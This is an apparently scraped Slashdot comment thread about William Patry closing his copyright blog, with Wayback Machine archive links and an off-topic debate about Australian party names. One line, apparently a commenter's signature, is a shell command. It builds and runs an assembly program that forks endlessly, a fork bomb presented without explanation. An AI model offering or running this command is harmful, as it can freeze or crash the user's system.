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Patry Copyright Blog Closed
I Don't Believe in Imaginary Property writes "William Patry, noted copyright expert and Google's top copyright lawyer, has decided to close his personal blog. (For no reason that he has explained, the archives are gone too.) Ordinarily, that wouldn't be very newsworthy, but that little blog has made a lot of news, outing the ACTA treaty and discussing lots of other important pending legislation. Mr. Patry gives two reasons for the closure: his personal views were being attributed to Google, and the current trends in copyright law are too depressing. Though I am not the only one to have done so, as someone who has contributed to that misunderstanding by listing his credentials without a disclaimer, I would like to publicly apologize to him. Unfortunately, there's nothing I can do to reverse the depressing trends in copyright law that I'm not doing already."
He also said
On top of this there are the crazies, whom it is impossible to reason with, who do not have a life of their own and so insist on ruining the lives of others, and preferably as many as possible. I asked myself last week after having to deal with the craziest of the crazies yet, "why subject yourself to this?" I could come up with no reason why I should: My grandfather chose to be a psychiatrist, but I chose a different professional path, one that doesn't obligate me to put up with such nonsense.
Funny how slashdot misses that part out.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Just read it here. Thanks, Wayback Machine!
Patry has made it clear that he did not receive pressure from Google to close his blog.
The Liberal Party is conservative on economic issues but liberal on social issues. It doesn't really have the same connotations in Australia as the Republican Party has in America. It's more like the Tories in the UK
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That's normal in politics. In Soviet Russia (don't even think it) the Union of Soviet Socialist Republics was popularly known as "Four words, four lies."
This is so insanely off-topic, but it is hardly "liberal" on social issues. If by "liberal" you mean either the liberalist philosophy of personal freedom. Anti-terror laws? Mandatory detention? The official party stance on stem cells and abortion? Attitudes towards people of an NESB? Attitudes towards the arts?
Yeah, the Australian Liberal Party is "liberal" on social issues: they like to lock people up for years without trial, they're against gays marrying, they don't mind a bit of racial brawling on Sydney beaches, and they think Aborigines can't raise their own kids.
I think you'll find our conservative parties are called "Liberal", "Labour" and "Family First".
I think you'll find it's "Labor". I'll never know why the party spells it's name wrong.
Two seconds of Googling:
http://en.wikipedia.org/wiki/Australian_Labor_Party#Etymology
I am really sorry to see the archives go. If he doesn't want to continue writing, the man has his reasons. But the archives were full of good material.
:)
Fortunately the Wayback Machine is on the case
http://web.archive.org/web/*/http://williampatry.blogspot.com
Same with the states having "Democratic" in their names. I'd prefer to live in the Republic of Korea rather than in Democratic People's Republic of Korea, and in Federal Republic of Germany rather than in German Democratic Republic.
The Liberal Party is conservative on economic issues but liberal on social issues.
You have that back to front. The Libs are "Liberal" in their economic policies (ie: pro-free-market, free trade, anti-union, etc).
They _are_ conservative in their social policies, but I'm pretty sure that (originally, at least) has more to do with the type of people their primary beliefs attract, rather than any specific attempt at being so.
The internet archive has his older blog posts archived here:
http://web.archive.org/web/*hh_/williampatry.blogspot.com/